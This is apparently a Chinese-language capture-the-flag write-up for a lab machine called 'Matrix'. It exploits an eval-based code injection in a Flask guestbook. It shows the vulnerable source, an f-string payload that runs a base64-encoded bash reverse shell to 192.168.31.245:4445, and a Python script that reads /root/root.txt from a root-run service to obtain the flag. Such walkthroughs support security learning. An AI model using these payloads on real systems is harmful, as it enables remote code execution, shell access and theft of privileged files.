

# Matrix

在这这个的时候输入单引号 报错

Request

prettyRawHex

ln

POST /message HTTP/1.1

Host: 192.168.31.214:5000

Content-Length: 19

Cache-Control: max-age=0

Origin: http://192.168.31.214:5000

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://192.168.31.214:5000/

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: username=builtins

Connection: keep-alive

msg=''&type=unicode

Response

PrettyRawHexRender

SyntaxError

File "<string>", line 1

u''''

^

SyntaxError: EOF while scanning triple-quoted string literal

Traceback (most recent call last)

File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 1536, in \_\_call\_\_

return self.wsgi\_app(environ, start\_response)

File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 1514, in wsgi\_app

response = self.handle\_exception(e)

File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 1511, in wsgi\_app

response = self.full\_dispatch\_request()

File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 919, in full\_dispatch\_request

rv = self.handle\_user\_exception(e)

File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 917, in full\_dispatch\_request

rv = self.dispatch\_request()

很明显有个 eval 代码注入，

```

else:
    message_type = request.form['type'][:1] # 获取留言类型
    user_message = request.form['msg'] # 获取用户留言内容
    username = "Guest" # 默认用户名为 Guest

    result = dynamic_execute(message_type, user_message) # 动态执行用户输入的内容
    return render_template('message.html', msg=result, status=f' {username}, 留言成功')

# 检查用户输入的安全性
def is_safe_input(command):
    blacklist = [

```

File "/home/anjv/Ne0\_backup/main.py", line 26, in dynamic\_execute

```

# 动态执行字符串表达式的函数（可能存在安全风险）
def dynamic_execute(type_str, expression):
    command = "%s'%s'"%(type_str, expression) # 拼接出要执行的命令
    print(command)
    return eval(command) # 执行拼接后的命令

# 随机返回一个字符串（可能是某种混淆手段）
def get_random_string():
    candidates = ['class', '+', 'getitem', 'request', 'args', 'subclasses', 'builtins', '{', '}']
    return choice(candidates)

```

```

File "<string>", line 1
u'''
^

```

SyntaxError: EOF while scanning triple-quoted string literal

上面的 `u'''` 就是 `unicode` 的第一个字符，这里很容易想到 python 的字符串格式化 `f'{code}'`

```

text/html,application/xhtml+xml,application/xml;c
e/webp,image/apng,*/*;q=0.8,application/signed-ex
10 Referer: http://192.168.31.214:5000/
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=
13 Cookie: username=builtins
14 Connection: keep-alive
15
16 msg=' '&type=unicode

```

直接弹shell

Recipe

^

To Base64

^

Alphabet

A-Za-z0-9+/=

URL Encode

^

☒

Encode all special chars

Input

+

/bin/sh -i >& /dev/tcp/192.168.31.245/4445 0>&1 &

ABC 491

Raw Bytes

Output

L2Jpbi9zaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjMxLjI0NS80NDQ1IDA%2BJjEgJg%3D%3D

Request

Pretty

Raw

Hex

1 POST /message HTTP/1.1

2 Host: 192.168.31.214:5000

3 Content-Length: 136

4 Cache-Control: max-age=0

5 Origin: http://192.168.31.214:5000

6 Content-Type: application/x-www-form-urlencoded

7 Upgrade-Insecure-Requests: 1

8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0

9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

10 Referer: http://192.168.31.214:5000/

11 Accept-Encoding: gzip, deflate, br

12 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

13 Cookie: username=builtins

14 Connection: keep-alive

15

16 msg={\_\_import\_\_("os").system("echo L2Jpbi9zaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjMxLjI0NS80NDQ1IDA%2BJjEgJg%3D%3D|base64 -d|bash")}&type=f

Response

Pretty

HOME

clear

Gue

0

进去之后可以看到 root 也启动了一个，在 127.0.0.1:8000 源码在当前目录

3 / 4

```
root      324 0.0 0.1 6736 2704 ?      Ss   01:46 0:00 /usr/sbin/cron -f
message+  325 0.0 0.1 7836 3728 ?      Ss   01:46 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root      326 0.0 0.1 222784 4008 ?     Ssl  01:46 0:00 /usr/sbin/rsyslogd -n -iNONE
root      327 0.0 0.3 22280 7192 ?      Ss   01:46 0:00 /lib/systemd/systemd-logind
root      336 0.0 0.2 9588 5700 ?      Ss   01:46 0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient.enp0s3
anjv      345 0.0 1.9 94040 39708 ?     Ss   01:46 0:00 /usr/bin/python3 /home/anjv/Ne0_backup/main.py
root      346 0.0 1.9 94052 39752 ?     Ss   01:46 0:00 /usr/bin/python3 /root/Ne0_jiagu_8000_backup/main.py
root      368 0.0 0.0 5840 1616 tty1    Ss+  01:46 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root      384 0.0 0.3 13288 7092 ?      Ss   01:46 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root      398 0.0 1.0 108880 21308 ?    Ssl  01:46 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root      420 0.0 1.7 253906 35340 ?    Ss   01:46 0:00 /usr/sbin/apache2 -k start
root      472 0.1 1.9 167840 39492 ?    SL   01:46 0:00 /usr/bin/python3 /root/Ne0_jiagu_8000_backup/main.py
anjv      473 0.1 2.1 399916 43412 ?    SL   01:46 0:00 /usr/bin/python3 /home/anjv/Ne0_backup/main.py
www-data  484 0.0 0.5 254036 11376 ?    S    01:46 0:00 /usr/sbin/apache2 -k start
www-data  485 0.0 0.5 254036 11376 ?    S    01:46 0:00 /usr/sbin/apache2 -k start
www-data  486 0.0 0.5 254036 11376 ?    S    01:46 0:00 /usr/sbin/apache2 -k start
www-data  487 0.0 0.6 254448 13264 ?    S    01:46 0:00 /usr/sbin/apache2 -k start
www-data  488 0.0 0.5 254052 11376 ?    S    01:46 0:00 /usr/sbin/apache2 -k start
www-data  509 0.0 0.5 254036 11376 ?    S    01:46 0:00 /usr/sbin/apache2 -k start
root      547 0.0 0.0 0 0 ?      I    01:51 0:00 [kworker/0:0-ata_sff]
anjv      569 0.0 0.1 6740 3048 ?      S    01:53 0:00 /usr/bin/bash
anjv      597 0.4 0.5 16788 10280 ?     S    01:53 0:00 /usr/bin/python3 -Wignore -c import base64,zlib;exec(zlib.decompress(base64.b64decode("eNqVWV9v40Y0f5Y+xaz7YKmr1SZpURy
anjv      598 0.0 0.1 7084 3740 pts/0   Ss   01:53 0:00 /usr/bin/bash -i
anjv      603 0.0 0.1 11696 3144 pts/0   R+   01:53 0:00 ps aux
anjv@Matrix:~/Ne0_backup$ ls
Archives.py flask_uwsgi.py guestbook.dat.db main.py __pycache__ requirements.txt static templates
anjv@Matrix:~/Ne0_backup$ cd ..
anjv@Matrix:~$ ls
Ne0_backup Ne0_jiagu_8000_backup.zip user.txt
anjv@Matrix:~$
```

要将输入定向到该虚拟机，请在虚拟机内部单击或按 Ctrl+G。

就是把空格和 \_ 移除，没多大区别

```
user_message = user_message.replace(' ', '').replace('_', '') # 移除空格和下划线
result = dynamic_execute(message_type, user_message) # 动态执行用户输入的内容
return render_template('message.html', msg=result, status=f'{username},留言成功')
```

查用户输入的安全性

我这里选择直接读文件

```
import requests

burp0_url = "http://127.0.0.1:8000/message"
burp0_cookies = {"username": "builtins"}
burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://192.168.1.101", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.8,en;q=0.7", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0"}
burp0_data = {"msg": "{open(\"/root/root.txt\").read()}", "type": "f"}
x = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
print(x.text)
~
~
~
~
```

```
anjv@Matrix:~$ vim exp.py
anjv@Matrix:~$ python3 exp.py |grep flag
flag{root-33bb6242-5d1a-4d29-91e6-11a0a15baa37}
anjv@Matrix:~$
```

要将输入定向到该虚拟机，请在虚拟机内部单击或按 Ctrl+G。